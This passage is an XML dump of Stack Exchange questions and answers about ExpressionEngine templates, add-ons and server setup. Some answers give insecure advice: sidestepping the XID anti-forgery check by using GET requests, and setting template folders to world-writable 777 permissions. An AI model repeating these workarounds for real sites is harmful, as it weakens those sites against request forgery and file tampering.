  <row Id="17452" PostTypeId="2" ParentId="17440" CreationDate="2013-12-05T15:59:54.070" Score="0" Body="&lt;p&gt;What happens if you add a channel parameter to the tag? Does that change anything?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-12-05T15:59:54.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17453" PostTypeId="2" ParentId="17451" CreationDate="2013-12-05T16:08:20.487" Score="4" Body="&lt;p&gt;You can avoid the XID validation by making a GET request instead of a POST request. XID validation only occurs when secure_forms is &lt;code&gt;y&lt;/code&gt; and the &lt;code&gt;$_POST&lt;/code&gt; array is not empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can generate a valid XID hash by using &lt;code&gt;{XID_HASH}&lt;/code&gt; in your template. Maybe something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body data-xid=&quot;{XID_HASH}&quot;&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;$.post(&#xA;  'site/inifinite_scroll_ajax',&#xA;  {&#xA;    XID: $('body').data('xid')&#xA;  },&#xA;  function(data, textStatus, jqXHR) {&#xA;    // Update the XID with a fresh one from the response headers&#xA;    $('body').data('xid', jqXHR.getResponseHeader('X-EEXID'));&#xA;&#xA;    // Do whatever you want with data&#xA;  }&#xA;);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the response, EE will send along a fresh XID hash in a custom HTTP header, X-EEXID. You can use that new hash for the next request. In the callback in my example, it updates the xid stored in the body data-xid attribute with the fresh hash.&lt;/p&gt;&#xA;" OwnerUserId="617" LastEditorUserId="617" LastEditDate="2013-12-18T15:28:00.933" LastActivityDate="2013-12-18T15:28:00.933" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17454" PostTypeId="2" ParentId="17438" CreationDate="2013-12-05T17:14:28.367" Score="5" Body="&lt;p&gt;That’s an error in the documentation, and we’ll get that fixed. &lt;code&gt;:child_ids&lt;/code&gt; only supports filtering entries with the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;var_id&lt;/li&gt;&#xA;&lt;li&gt;var&lt;/li&gt;&#xA;&lt;li&gt;element_id&lt;/li&gt;&#xA;&lt;li&gt;field_id&lt;/li&gt;&#xA;&lt;li&gt;field&lt;/li&gt;&#xA;&lt;li&gt;col_id&lt;/li&gt;&#xA;&lt;li&gt;col&lt;/li&gt;&#xA;&lt;li&gt;row_id&lt;/li&gt;&#xA;&lt;li&gt;child_id&lt;/li&gt;&#xA;&lt;li&gt;parent_id&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you need anything else, and you should just use a tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{event_related_media&#xA;    limit=&quot;2&quot;&#xA;    status=&quot;Archived&quot;&#xA;    channel=&quot;video&quot;&#xA;    show_expired=&quot;no&quot;&#xA;    show_future_entries=&quot;no&quot;&#xA;    backspace=&quot;1&quot;&#xA;}{entry_id}|{/event_related_media}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-12-05T17:14:28.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17455" PostTypeId="1" CreationDate="2013-12-05T17:25:14.403" Score="2" ViewCount="55" Body="&lt;p&gt;I have just finished rewriting a custom payment module for Barclaycard ePDQ, and it's working up to a point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes on the return from ePDQ, whereby the user is returned to the checkout_confirm page instead of the /store/order/ORDER_HASH as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just have a pretty standard purchase_return function with  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return new Merchant_response(Merchant_response::COMPLETE,'',$orderid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The gateway is being sent $this -&gt; param('return_url'); as you'd expect, and if I trap the return I get www.mydomain.mysite/?ACT=16H=  etc etc as expected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers as to why I'm not getting sent to my order page?&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2013-12-05T20:07:40.643" Title="Expresso custom payment module" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17456" PostTypeId="1" AcceptedAnswerId="17496" CreationDate="2013-12-05T17:58:06.320" Score="1" ViewCount="538" Body="&lt;p&gt;When I try to upload a file to Assets, I get this alert:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could not upload the file - server returned an unexpected response. Please check the server settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The console shows a 500 error when trying to access a url: &lt;code&gt;https://www.mysite.com/index.php?folder=16&amp;amp;ACT=24&amp;amp;qqfile=my-file.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I load that URL directly in the browser I get this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{&quot;error&quot;:&quot;There was an error uploading your file: Getting content length is not supported.&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My server's PHP error logs don't show anything.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.7.2&lt;/li&gt;&#xA;&lt;li&gt;Assets 2.2.2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-12-12T00:30:58.050" Title="Assets Upload Error: &quot;Getting content length is not supported.&quot;" Tags="|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17458" PostTypeId="1" CreationDate="2013-12-05T19:43:29.153" Score="1" ViewCount="37" Body="&lt;p&gt;When I add the cart throb permissions fieldftype to a channel and try and post I get the error: Unable to locate the model you have specified: cartthrob_field_model&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cart throb is up to date ver 2.4 and CT permissions ver 2.3.3 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on where that error is coming from?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-01-21T15:47:43.510" Title="Error when posting: using Cartthrob Permissions cannot locate cartthrob_field_model" Tags="|cartthrob|fieldtype|permissions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17459" PostTypeId="2" ParentId="17455" CreationDate="2013-12-05T20:07:40.643" Score="2" Body="&lt;p&gt;Having found the answer, I realise my question doesn't contain nearly enough details!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using POST to retrieve the return parameters, whereas the merchant gateway was sending GET.&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2013-12-05T20:07:40.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17460" PostTypeId="2" ParentId="17428" CreationDate="2013-12-05T20:08:43.487" Score="1" Body="&lt;p&gt;You can if you are using an EE CSS template but the question is, do you really need to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's just a small bit of CSS there really is no harm in including it in the head of your HTML or even inline. The extra bit of code in your template is probably going to be much less a performance hit than shoving an entire CSS file through EE's parser.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-05T20:08:43.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17461" PostTypeId="1" AcceptedAnswerId="17493" CreationDate="2013-12-05T22:00:14.537" Score="1" ViewCount="792" Body="&lt;p&gt;In Template Manager I am trying to save my template (site/index) as a file. When I click update I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unable to save your template as a text file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have asked around and searched and what I've seen is that it has to due with permissions or path to file, but I have tried messing around with both of those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MORE INFO-----&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template is called &lt;code&gt;index&lt;/code&gt; and it is in the template group &lt;code&gt;site&lt;/code&gt;: &lt;code&gt;site/index&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Server path to site's templates is: &lt;code&gt;/Documents/ExpressionEngine/unimin/expressionengine/templates&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExpressionEngine Core (free version)&#xA;MAMP Pro&#xA;Mac OSX Mavericks&#xA;Google Chrome&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2388" LastEditorUserId="2388" LastEditDate="2013-12-05T23:42:42.850" LastActivityDate="2013-12-06T16:11:31.630" Title="Save template as a file error - due to MAMP?" Tags="|templates|file-manager|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17462" PostTypeId="2" ParentId="17461" CreationDate="2013-12-05T22:21:57.660" Score="1" Body="&lt;p&gt;I've found that with MAMP Pro I'm only able to save templates as files if I set the permissions on my templates folder to 777. Make sure you apply those permissions to the templates folder itself &lt;em&gt;and&lt;/em&gt; its contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't sure how to change file permissions on your Mac, here is a &lt;a href=&quot;http://support.apple.com/kb/PH13799&quot; rel=&quot;nofollow&quot;&gt;help file from Apple.&lt;/a&gt; If you are using Finder to do it, as they show in this help file, 777 permission is &quot;Read &amp;amp; Write&quot; for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you're right, the other thing to check is the server path to your templates folder. You edit that in Design &gt; Template Manager &gt; Global Template Preferences &gt; Basepath to Template File Directory (assuming you are not using a config override).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still end up with trouble even after setting permissions to 777 and double checking the path, please post a little more information about your template setup (directory name, whether above webroot, etc) and the current server path you're specifying.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-12-06T05:11:28.663" LastActivityDate="2013-12-06T05:11:28.663" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17463" PostTypeId="1" AcceptedAnswerId="17464" CreationDate="2013-12-05T23:57:03.713" Score="0" ViewCount="155" Body="&lt;p&gt;When I use this code (specifying an entire year of past and upcoming events), Calendar only displays upcoming events and fails to display events which have already passed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events date_range_start=&quot;2013-08-01&quot; date_range_end=&quot;2014-08-01&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The behavior is the same when I use the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag pair.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I get past events to show up in my event list?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorUserId="262" LastEditDate="2013-12-06T00:02:15.193" LastActivityDate="2013-12-06T00:08:24.803" Title="Solspace Calendar does not displaying past events" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17464" PostTypeId="2" ParentId="17463" CreationDate="2013-12-06T00:08:24.803" Score="1" Body="&lt;p&gt;I'm a fool — My client had (unbeknownst to me) added expiration dates to all the entries. (Calendar is behaving exactly as expected, showing all &lt;strong&gt;&lt;em&gt;non-expired&lt;/em&gt;&lt;/strong&gt; events within the provided date range.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, I shall clear out the expiration dates from the entries and clarify to my client that the Calendar takes care of both the starting and ending dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#show-expired&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;show_expired&lt;/code&gt;&lt;/a&gt; parameter would also work.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-12-06T00:08:24.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17465" PostTypeId="1" AcceptedAnswerId="17468" CreationDate="2013-12-06T00:18:13.983" Score="2" ViewCount="97" Body="&lt;p&gt;The login form from the docs works fine and so does the password reset.&#xA;However I have been unable to register a new member or show a logout link, this is the same issue I had whilst using the AUTHENTICATE module and came to the realisation that as CORE doesn't have the member module the logout and register wouldn't work (took me three days and I'd rather not spend the next three days trying to get this to work.&lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2013-12-07T00:25:18.847" Title="Can the FREEMEMBER module be used with the EE core package?" Tags="|freemember|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17466" PostTypeId="2" ParentId="17461" CreationDate="2013-12-06T00:55:10.297" Score="0" Body="&lt;p&gt;I'm not 100% sure but when I used WAMP the server path should be as normal i.e /localhost/public_html/sync rather than the folder location on your laptop/computer&lt;/p&gt;&#xA;" OwnerUserId="2455" LastActivityDate="2013-12-06T00:55:10.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17467" PostTypeId="1" AcceptedAnswerId="17481" CreationDate="2013-12-06T01:19:08.233" Score="1" ViewCount="500" Body="&lt;p&gt;I used this technique on a site I just built with EE 2.7.0 and Stash 2.3.9. Now I'm trying the same technique on EE 2.7.2 and Stash 2.4.7, and it's not working! This is a simplified version just to show what's going on. Note: I'm using stash:get instead of stash:get_list just to dump out the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;white_paper|c_study|video|webinar|data_sheet&quot;&#xA;    limit=&quot;8&quot;&#xA;}&#xA;    {stash:embed&#xA;        name=&quot;item&quot;&#xA;        process=&quot;start&quot;&#xA;    }&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:get name=&quot;resources&quot; process=&quot;end&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;item.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append_list&#xA;    name=&quot;resources&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;}&#xA;    {stash:item_title}{title}{/stash:item_title}&#xA;    {stash:item_date}{entry_date format=&quot;{gv_date_format_short}&quot;}{/stash:item_date}&#xA;    {stash:item_url}/resources/{url_title}{/stash:item_url}&#xA;    {stash:item_type}{channel}{/stash:item_type}&#xA;{/exp:stash:append_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of outputting content from the channel:entries loop, it is just outputting the unparsed tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;item_title|=|{title}|&amp;amp;|item_date|=|{entry_date format=&quot;%M %j, %Y&quot;}|&amp;amp;|item_url|=|/resources/{url_title}|&amp;amp;|item_type|=|{channel}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it's clearly a parse order issue, and it seems like something has changed either in EE or Stash.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-12-06T11:21:09.410" Title="Stash Embed Not Parsing" Tags="|stash|parse-order|embeds|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17468" PostTypeId="2" ParentId="17465" CreationDate="2013-12-06T01:32:38.433" Score="2" Body="&lt;p&gt;If it's not working, I'd guess you're running into the same issue and you need to purchase the full license to get complete member functionality.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-06T01:32:38.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17472" PostTypeId="1" AcceptedAnswerId="17476" CreationDate="2013-12-06T02:45:38.070" Score="9" ViewCount="202" Body="&lt;p&gt;I am asking myself for quite some time on how BuiltWith for example works in determining what CMS is being used for a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are running an online store and at times I believe it would be good to disguise which CMS we are using. Weird thing is that I just tested it and BuiltWith doesn't return any info about the CMS, although it did in the past. I can't really tell why or when it stopped doing it which confuses me even more. When I head over to ellislab.com the info will be displayed. Maybe it's just temporary for our site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what one would have to do to &quot;disguise&quot; the CMS informations for tools like BuiltWith and the such?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marc&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2013-12-10T22:26:25.467" Title="BuiltWith: Info about Content Management System" Tags="|ee2|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17473" PostTypeId="1" CreationDate="2013-12-06T02:47:52.893" Score="2" ViewCount="207" Body="&lt;p&gt;Looking to build multiple sites with EE. How many licenses would have to be purchased as require integration with Expresso Ecommerce. Do I have to get 3 separate licenses or just 1 license and run multiple sites sitting on the same server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Huzza&lt;/p&gt;&#xA;" OwnerUserId="2458" LastEditorUserId="197" LastEditDate="2013-12-06T04:33:28.643" LastActivityDate="2013-12-07T00:21:49.450" Title="Multi site - Licensing query?" Tags="|expresso-store|multi-site-manager|licensing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17474" PostTypeId="2" ParentId="17467" CreationDate="2013-12-06T03:22:31.377" Score="2" Body="&lt;p&gt;I'm not sure why you're using an embed for this, you're not passing anything to it so I'd use a snippet for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also may as well use set_list, open the tags above the exp:channel call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;resources&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries channel=&quot;white_paper|c_study|video|webinar|data_sheet&quot; limit=&quot;8&quot;}&#xA;    {snippet:get_data}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;resources&quot; process=&quot;end&quot;}&#xA;&amp;lt;div class=&quot;entry {item_type}&quot;&amp;gt;&#xA;  &amp;lt;h1&amp;gt;{item_title}&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;p class=&quot;date&quot;&amp;gt;{item_date}&amp;lt;/p&amp;gt;&#xA;  ....&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Snippet: get_data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:item_title}{title}{/stash:item_title}&#xA;{stash:item_date}{entry_date format=&quot;{gv_date_format_short}&quot;}{/stash:item_date}&#xA;{stash:item_url}/resources/{url_title}{/stash:item_url}&#xA;{stash:item_type}{channel}{/stash:item_type}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could forego this markup and just replace your embed with a snippet instead and be done OR remove 'start' from your embed, you need it to be inline to get parse order working normally:)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-12-06T03:22:31.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17475" PostTypeId="2" ParentId="17467" CreationDate="2013-12-06T03:32:00.673" Score="1" Body="&lt;p&gt;It's your &lt;code&gt;process=&quot;start&quot;&lt;/code&gt; parameter, I believe, that's messing you up. You're telling the Stash embed to process before the channel entries tag pair. Try removing &lt;code&gt;process=&quot;start&quot;&lt;/code&gt; and adding &lt;code&gt;parse_stage=&quot;both&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stuartmcd69's suggestion is solid too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I respectfully bow out now that Mark has spoken. :)&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-12-06T11:14:30.543" LastActivityDate="2013-12-06T11:14:30.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17476" PostTypeId="2" ParentId="17472" CreationDate="2013-12-06T04:27:12.347" Score="13" Body="&lt;p&gt;You can detect EE by couple parameters like form uniq for EE names/hidden inputs fields, category short names, page count segment, ACT segment or cookies prefix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like BuiltWith is looking on cookies and if it see &lt;strong&gt;exp_&lt;/strong&gt; prefix (default EE prefix) - detected EE &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Set-Cookie:exp_tracker=a%3A1%3A%7Bi%3A0%3Bs%3A5%3A%22index%22%3B%7D; path=/&#xA;Set-Cookie:exp_last_activity=1386303363; expires=Sat, 06-Dec-2014 04:16:03 GMT; path=/&#xA;Set-Cookie:exp_tracker=a%3A1%3A%7Bi%3A0%3Bs%3A5%3A%22index%22%3B%7D; path=/&#xA;Set-Cookie:exp_last_activity=1386303363; expires=Sat, 06-Dec-2014 04:16:03 GMT; path=/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cookies prefix you can change in &lt;em&gt;CP -&gt; Amin -&gt; Security &amp;amp; Privecy -&gt; Cookie Settings&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or in &lt;em&gt;config.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_prefix']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-12-06T08:48:58.593" LastActivityDate="2013-12-06T08:48:58.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17477" PostTypeId="2" ParentId="17473" CreationDate="2013-12-06T04:33:12.533" Score="3" Body="&lt;p&gt;Licensing questions are best addressed by the respective software developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For ExpressionEngine, a MSM license initially covers 3 sites, all of which must be the same company, i.e. you can not use the sites in a MSM installation for multiple clients. It is best to email EllisLab if you have any questions about the license before making a purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for Expresso Store, you'll need to read the license to determine if it's per site or per installation and how the applies to MSM. Again, if there are things you're not clear on, it's always best to contact the developer.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-06T04:33:12.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17478" PostTypeId="2" ParentId="17219" CreationDate="2013-12-06T09:26:19.407" Score="1" Body="&lt;p&gt;Something like this should work. You have to make a 2 steps verification:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Ensure user is logged in --}&#xA;{if logged_out}&#xA;    {redirect=&quot;/login&quot;}&#xA;{/if}&#xA;{!-- Check if user can view this entry --}&#xA;{exp:channel:entries&#xA;    channel=&quot;mychannel&quot;&#xA;    disable=&quot;custom_fields|categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    dynamic=&quot;off&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;}&#xA;    {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;    {exp:pvl_checkif value=&quot;{member_id}&quot; is_not_in=&quot;{authorized_members}&quot;}{redirect=&quot;/unauthorised&quot;}{/exp:pvl_checkif}&#xA;{/exp:channel:entries}&#xA;&#xA;{safecracker....}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{authorized_members} is your field containing members list. It should be pipe delimited, or you can use an other delimiter and specify it an the delimiter=&quot;&quot; parameter of pvl_checkif.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://devot-ee.com/add-ons/pvl-check-if&quot; rel=&quot;nofollow&quot;&gt;doc of pvl_checkif here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2013-12-06T09:26:19.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17479" PostTypeId="2" ParentId="17461" CreationDate="2013-12-06T10:36:09.053" Score="0" Body="&lt;p&gt;Change your file permissions in the command line/terminal using &#xA;&lt;code&gt;chmod 777 path/to/the/directory&lt;/code&gt;  or, if you're not confident doing that, use an FTP client to alter the permissions to 777&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set your template path relative to your system directory rather than the server root which might make it simpler for you.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-06T10:36:09.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17480" PostTypeId="1" CreationDate="2013-12-06T10:46:42.750" Score="1" ViewCount="552" Body="&lt;p&gt;i have a problem with 2checkout gateway. I get &quot;Invalid key&quot; error. What is causing that?&#xA;I entered correctly the Account number and secret word in settings. Test mode is &quot;false&quot; in Store settings. Demo setting is &quot;On&quot; in 2co settings page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter witch setting i try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PhMWh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i get Invalid key error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have EE 2.7.1, Store 2.0.6, PHP 5.3.27&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="584" LastActivityDate="2013-12-07T18:08:41.717" Title="Expresso Store: 2Checkout gives Invalid key error" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17481" PostTypeId="2" ParentId="17467" CreationDate="2013-12-06T11:03:15.630" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Changelog#243&quot; rel=&quot;nofollow&quot;&gt;Stash 2.4.3&lt;/a&gt; corrected a long-standing inconsistency with embeds set to process at the &lt;strong&gt;start&lt;/strong&gt; of template parsing. At the other stages of parsing (&lt;code&gt;inline&lt;/code&gt; and &lt;code&gt;end&lt;/code&gt;) embeds are parsed by default - that is to say, &lt;code&gt;parse=&quot;yes&quot;&lt;/code&gt; is the default parameter value if not specified, and 2.4.3 added this as the default for &lt;code&gt;start&lt;/code&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make your embed behave as it did before (to disable parsing so that the content of the embed is included in the host template without first being parsed) simply add &lt;code&gt;parse=&quot;no&quot;&lt;/code&gt; to the tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed&#xA;    name=&quot;item&quot;&#xA;    process=&quot;start&quot;&#xA;    parse=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-12-06T11:21:09.410" LastActivityDate="2013-12-06T11:21:09.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17482" PostTypeId="1" CreationDate="2013-12-06T11:33:30.230" Score="1" ViewCount="117" Body="&lt;p&gt;I'm wondering what's the best way of approaching a situation where you have an A to Z of categories in a sidebar and when you click the category URL it loads the results of that channel within the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there's a plugin for this - Low AtoZ, but wondering if there is a simple way of doing this without using any commercial plugins. At the moment I'm using Freebie to break the main url segment so EE doesn't try to look for the page. A good way to start?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;aside&amp;gt;    &#xA;&amp;lt;ul&amp;gt;&#xA;        {exp:channel:categories channel=&quot;resources&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}resources/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:categories}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/aside&amp;gt;&#xA;    &amp;lt;div class=&quot;content-main&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;breadcrumbs&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;            {exp:structure:breadcrumb here_as_title=&quot;yes&quot; separator=&quot;/&quot; wrap_each=&quot;li&quot;}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;        {page_content}&#xA;        {if &quot;{freebie_1}&quot; == 'resources' &amp;amp;&amp;amp; &quot;{freebie_2}&quot; == ''}&#xA;        &amp;lt;h3&amp;gt;Please choose a county from the list to the left.&amp;lt;/h3&amp;gt;&#xA;        {if:else}&#xA;        &amp;lt;div class=&quot;resources-listings&quot;&amp;gt;&#xA;            {exp:channel:entries channel=&quot;resources&quot; dynamic=&quot;no&quot; category=&quot;1&quot;}&#xA;            &amp;lt;div class=&quot;listing&quot;&amp;gt;&#xA;                {if resources_center_type == 'Suicide 